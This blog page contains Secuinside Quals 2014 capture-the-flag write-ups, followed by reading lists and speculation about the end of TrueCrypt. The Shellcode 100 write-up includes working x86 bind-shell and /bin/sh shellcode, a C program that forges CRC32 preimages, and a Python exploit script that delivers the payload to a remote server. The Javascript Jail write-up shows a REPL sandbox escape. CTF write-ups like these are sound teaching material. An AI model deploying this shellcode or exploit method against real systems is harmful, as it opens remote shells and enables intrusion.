Secuinside Quals 2014: Shellcode 100

This is a level that, at first, seemed like it would be extremely simple, but then turned out to be far more complicated than expected. We were provided a zip file containing a python script and an elf binary.

Disassembling the binary reveals a very basic program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/ (fcn) sym.main 165
|                0x0804847d    55           push ebp
|                0x0804847e    89e5         mov ebp, esp
|                0x08048480    83e4f0       and esp, 0xfffffff0
|                0x08048483    83ec30       sub esp, 0x30
|                0x08048486    8b450c       mov eax, [ebp+0xc]
|                0x08048489    83c004       add eax, 0x4
|                0x0804848c    8b00         mov eax, [eax]
|                0x0804848e    890424       mov [esp], eax
|                ; CODE (CALL) XREF from 0x08048376 (fcn.08048376)
|                ; CODE (CALL) XREF from 0x08048370 (fcn.08048366)
|                0x08048491    e8dafeffff   call 0x108048370 ; (sym.imp.atoi)
|                   sym.imp.atoi(unk)
|                0x08048496    89442428     mov [esp+0x28], eax
|                0x0804849a    c7442424000. mov dword [esp+0x24], 0x0
|                0x080484a2    c7442408040. mov dword [esp+0x8], 0x4
|                0x080484aa    8d442424     lea eax, [esp+0x24]
|                0x080484ae    89442404     mov [esp+0x4], eax
|                0x080484b2    8b442428     mov eax, [esp+0x28]
|                0x080484b6    890424       mov [esp], eax
|                ; CODE (CALL) XREF from 0x08048330 (fcn.0804832c)
|                0x080484b9    e872feffff   call 0x108048330 ; (sym.imp.read)
|                   sym.imp.read()
|                0x080484be    8b442424     mov eax, [esp+0x24]
|                0x080484c2    c7442414000. mov dword [esp+0x14], 0x0
|                0x080484ca    c7442410fff. mov dword [esp+0x10], 0xffffffff
|                0x080484d2    c744240c220. mov dword [esp+0xc], 0x22
|                0x080484da    c7442408070. mov dword [esp+0x8], 0x7
|                0x080484e2    89442404     mov [esp+0x4], eax
|                0x080484e6    c7042400000. mov dword [esp], 0x0
|                ; CODE (CALL) XREF from 0x08048350 (fcn.08048346)
|                0x080484ed    e85efeffff   call 0x108048350 ; (sym.imp.mmap)
|                   sym.imp.mmap()
|                0x080484f2    8944242c     mov [esp+0x2c], eax
|                0x080484f6    8b442424     mov eax, [esp+0x24]
|                0x080484fa    89442408     mov [esp+0x8], eax
|                0x080484fe    8b44242c     mov eax, [esp+0x2c]
|                0x08048502    89442404     mov [esp+0x4], eax
|                0x08048506    8b442428     mov eax, [esp+0x28]
|                0x0804850a    890424       mov [esp], eax
|                0x0804850d    e81efeffff   call 0x108048330 ; (sym.imp.read)
|                   sym.imp.read()
|                0x08048512    31c0         xor eax, eax
|                0x08048514    31c9         xor ecx, ecx
|                0x08048516    31d2         xor edx, edx
|                0x08048518    31db         xor ebx, ebx
|                0x0804851a    31f6         xor esi, esi
|                0x0804851c    31ff         xor edi, edi
\                0x0804851e    ff64242c     jmp dword [esp+0x2c]

It takes a single argument, an integer, which it uses as a file descriptor for input. It then reads 4 bytes from the file descriptor, mmap’s an anonymous block of memory of that size with RWX permissions, then reads that many bytes from the file descriptor into the mapped region, and finally jumps to the map region. So, in summary, read shellcode length, read shellcode, then jump to shellcode.

So, let’s look at the python script responsible for launching the program and reading the input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
import os, signal, struct, binascii
from sys import stdin, stdout

UI = lambda a : struct.unpack('I', a)[0]
PI = lambda a : struct.pack('I', a)

def crc32(data, salt) :
    return PI(binascii.crc32(salt + data) & 0xffffffff)

def main() :
    signal.alarm(25)

    salt = os.urandom(10)
    print 'salt:', salt.encode('hex')
    stdout.flush()

    n = UI(stdin.read(4))
    data = ''.join(crc32(stdin.read(UI(stdin.read(4))), salt) for _ in xrange(n))

    fi, fo = os.pipe()
    if not os.fork() :
        os.execl('/home/sc/thisisnotbad', 'thisisnotbad', '%d' % fi)
    else :
        os.write(fo, PI(len(data)))
        os.write(fo, data)

if __name__ == '__main__' :
    main()

As you can tell, it provides a 10 byte salt, then reads in 4 bytes (n), then finally reads n blocks prefixed by a 4-byte length. Next, for each block, it computes the crc32 of the block with the salt prepended. Finally, the crc32s are concatenated as the shellcode to be executed.

So, to get useful shellcode, we have to mount a preimage attack on CRC-32. Fortunately, CRC-32 is not a cryptographically secure hash, and Julien Tinnes has done the heavy lifting for us. So, we can take our shellcode as the desired CRC32s and compute the preimage of salt+preimage vector (4 bytes), then break the result into 4 byte chunks and send them along with appropriate lengths.

I wrote a little C program to use the calcvect.c from tweakcrc to compute the preimages given the salt, then used python for all the socket communications. (Because why do sockets in C when you can avoid it?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!c
#include "crc32.h"
#include <string.h>
#include <stdio.h>
#include <arpa/inet.h>

/*
const char *shellcode = "\x31\xc0\x50\x68"
                        "\x2f\x2f\x73\x68"
                        "\x68\x2f\x62\x69"
                        "\x6e\x89\xe3\x50"
                        "\x53\x89\xe1\xb0"
                        "\x0b\xcd\x80\x90";
*/

unsigned char shellcode[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a"
"\x02\x89\xe1\xb0\x66\xcd\x80\x5b"
"\x5e\x52\x68\x02\x00\x16\x9d\x6a"
"\x10\x51\x50\x89\xe1\x6a\x66\x58"
"\xcd\x80\x89\x41\x04\xb3\x04\xb0"
"\x66\xcd\x80\x43\xb0\x66\xcd\x80"
"\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x50\x53"
"\x89\xe1\xb0\x0b\xcd\x80\x90\x90";


#define SC_LEN 80
#define CHUNK_SIZE 4

char shellcode_out[SC_LEN];

char tmpbuf[14];

unsigned int    tweakcrc(void *map, int length, unsigned int target, unsigned int offset);


void decode_hex(char *dst, const char *src) {
  int i;
  for (i=0; i<strlen(src)/2; i ++)
    sscanf(&(src[i*2]), "%2hhx", &dst[i]);
}


int main(int argc, char **argv) {
  int i;
  int target;
  decode_hex(tmpbuf, argv[1]);
  gen_table();

  for (i=0; i<(SC_LEN/CHUNK_SIZE); i++){
    *(int *)(tmpbuf + 10) = 0;
    //for (k=0; k<14; k++)
      //fprintf(stderr, "%02hhx", tmpbuf[k]);
    //fprintf(stderr, "\n");
    target = *((int *)&shellcode[i*CHUNK_SIZE]);
    //target = htonl(target);
    //fprintf(stderr, "Target: %08x\n", target);
    tweakcrc(tmpbuf, 14, target, 10);
    
    //for (k=0; k<14; k++)
      //fprintf(stderr, "%02hhx", tmpbuf[k]);
    //fprintf(stderr, "\n");
    memcpy(&shellcode_out[i*CHUNK_SIZE], tmpbuf+10, 4);
  }

  for (i=0; i<SC_LEN; i++)
    printf("%02hhx", shellcode_out[i]);
  printf("\n");
  return 0;
}

You might notice a commented out shellcode. At first, I just tried a basic x86 shell exec, but stdin/stdout do not seem to connect through to the shellcode. I didn’t dig into why, just replaced my shellcode with linux/x86/shell_bind_tcp from Metasploit.

To chunk and send my payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!python
import socket
import subprocess
import struct
import binascii


def crc32(data, salt):
  #print (salt+data).encode('hex')
  v = struct.pack('I', binascii.crc32(salt + data) & 0xffffffff)
  #print v.encode('hex')
  return v

REMOTE = ('54.178.232.195', 5757)
#REMOTE = ('localhost', 5555)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(REMOTE)
print 'Connected.'
salt = s.recv(1024).strip().split(':')[1].strip()
print 'Salt: %s' % salt

shellcode = subprocess.check_output(
    ('./shellcode', salt)).strip()
print 'Shellcode: %s' % shellcode
shellcode = shellcode.decode('hex')

def send(what):
  print what.encode('hex')
  return s.send(what)

def chunks(sc):
  return [sc[x:x+4] for x in xrange(0, len(sc), 4)]

nc = len(shellcode)/4

shellcode = ''.join('\x04\x00\x00\x00' + c for c in chunks(shellcode))

l = send(struct.pack('I', nc) + shellcode)
print 'Shellcode %d done.' % l

You might notice both programs have a lot of debugging print statements. Getting the endianness just right, tweaking the payload chunking, etc., consumed far more time than figuring out what the problem was.


Secuinside Quals 2014: Javascript Jail (Misc 200)

The challenge was pretty straightforward: connect to a service that’s running a Javascript REPL, and extract the flag. You were provided a check function that was created by the checker function given below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!javascript
function checker(flag, myRand) {
        return function (rand) {
                function stage1() {
                        var a = Array.apply(null, new Array(Math.floor(Math.random() * 20) + 10)).map(function () {return Math.random() * 0x10000;});
                        var b = rand(a.length);

                        if (!Array.isArray(b)) {
                                print("You're a cheater!");
                                return false;
                        }

                        if (b.length < a.length) {
                                print("hmm.. too short..");
                                for (var i = 0, n = a.length - b.length; i < n; i++) {
                                        delete b[b.length];
                                        b[b.length] = [Math.random() * 0x10000];
                                }
                        } else if (b.length > a.length) {
                                print("hmm.. too long..");
                                for (var i = 0, n = b.length - a.length; i < n; i++)
                                        Array.prototype.pop.apply(b);
                        }

                        for (var i = 0, n = b.length; i < n; i++) {
                                if (a[i] != b[i]) {
                                        print("ddang~~");
                                        return false;
                                }
                        }

                        return true;
                }

                function stage2() {
                        var a = Array.apply(null, new Array((myRand() % 20) + 10)).map(function () {return myRand() % 0x10000;});
                        var b = rand(a.length);

                        if (!Array.isArray(b)) {
                                print("You're a cheater!");
                                return false;
                        }

                        if (b.length < a.length) {
                                print("hmm.. too short..");
                                for (var i = 0, n = a.length - b.length; i < n; i++) {
                                        delete b[b.length];
                                        b[b.length] = [Math.random() * 0x10000];
                                }
                        } else if (b.length > a.length) {
                                print("hmm.. too long..");
                                for (var i = 0, n = b.length - a.length; i < n; i++)
                                        Array.prototype.pop.apply(b);
                        }

                        for (var i = 0, n = b.length; i < n; i++) {
                                if (a[i] != b[i]) {
                                        print("ddang~~");
                                        return false;
                                }
                        }

                        return true;
                }

                print("stage1");

                if (!stage1())
                        return;

                print("stage2");

                if (!stage2())
                        return;

                print("awesome!");
                return flag;
        };
}

As you can tell, there are two nearly identical stages that create an array of random length (10-30) consisting of random values. The only difference is in how the random values are generated: once from Math.random, and, in stage 2, from a function provided by the factory function. This function was not available to us to reverse the functionality of.

So, how to solve? I wanted to control as much of the environment as I possibly could, so I started looking for the critical functions. I quickly realized that if we could control Math.random, stage 1 becomes trivial. It turns out that, yes, you can redefine functions on native code objects, so a mere Math.random = function() {return 1;}; takes care of this. Unfortunately, stage 2 doesn’t use Math.random, so how do we control it? Well, we have Array.apply and Array.map in use to create the a array. Replacing those as well gives us:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!javascript
Math.random = function(){print('Random called.'); return 1;};
f = function(l) {
  print(l);
  var foo = Array(l);
  for (i=0;i<foo.length;i++) {
    foo[i] = Math.random() * 0x10000;
  }
  foo.map = function(){return foo};
  return foo;
};
Array.apply = function() { return f(30); };
check(f);

And we receive our flag.


Weekly Reading List for 5/30/14

It’s been a busy week, so I’m just going to drop some info about Radare2.

Radare2 Materials


On the TrueCrypt Saga

If you’re anywhere near the security community, you’ve probably already heard about the (supposed) end of TrueCrypt that inspired a massive hunt for an explanation on Reddit. I’m going to drop my thoughts here, but these are all just speculation, so take them for what they’re worth (which is not much).

The Facts as We Know Them

  1. TrueCrypt 7.2 dropped support for creating volumes. The code was massively changed, stripping out all volume creation options.
  2. The website was updated with terrible instructions. The directions for alternatives generally point to proprietary options (BitLocker, File Vault, or, to paraphrase, “whatever you can find on Linux.”)
  3. The new version is signed with the same key as previous versions. This implies whoever did the update is in possession of the key used for signing previous releases.
  4. Sourceforge doesn’t think the account was compromised as posted here.

####Popular Theories

  1. The author was forced to backdoor TC and chose this instead. This seems to be the most popular theory, and given the Snowden revelations, it’s easy to see why. Assuming the adversary in question is the US Government, this seems awfully heavy-handed, and I’m not sure under which legal authority they would attempt to compel this participation. NSLs compel the production of business records, but don’t seem to allow them to force a backdooring. CALEA is for communications tools, TrueCrypt is used for storage at rest. Even those who refer to LavaBit are referring to warrants. First LavaBit was ordered to turn over messages, then encryption keys, but I’m not aware they were ever ordered to backdoor their software. It also seems odd that government agencies would choose to go after disk encryption, seems like communications encryption would be the bigger source of intelligence. There are those who have claimed “the government can force you to do anything”, which I suppose is true, but if we’re at the stage of “backdoor your code or we treat you as a terrorist” then the game’s already over, we’re off in Stasi territory, and I’m not sure that’s a world I could live in. I hope this is not the story.
  2. The author tired of developing it and just gave up. This is a kind of odd approach, one would think they’d look for someone to hand the project to. I’m also not sure why someone who’d devoted years to developing secure encryption software would suddenly offer up terrible alternatives or otherwise deviate so strangely.
  3. A developer was compromised. While this might give access to the PGP key, I’d have thought by now we’d have some sort of communication somewhere to claim this has happened. Unless the developer is completely out of the loop as well. Why would someone use the compromise to offer up terrible alternatives as opposed to releasing backdoored binaries quietly?
  4. Off their meds. A couple of people have suggested that some sort of psychiatric problem is involved here. Actually seems a little reasonable, given the erratically written directions for alternatives, the sudden change in course, everything. Of course, there’s no evidence to support this, so it’s really just speculation.

I’ve turned off commenting as I think Reddit or Hacker News is a better place for such discussion, I just had a lot of thoughts I wanted to get out.


Weekly Reading List for 5/23/14

###Radare2 Book Maijin on GitHub is in the process of putting together an online book for Radare2. I’ve been looking for a good resource for using Radare2, and this is a great start.

###Reverse Engineering for Beginners Dennis Yurichev has a free eBook on Reverse Engineering. I haven’t gotten through it yet, but it looks interesting, and you can’t beat the price.

###Hacker Playbook Finally, I finished up The Hacker Playbook: Practical Guide To Penetration Testing this week. You can find my full review here.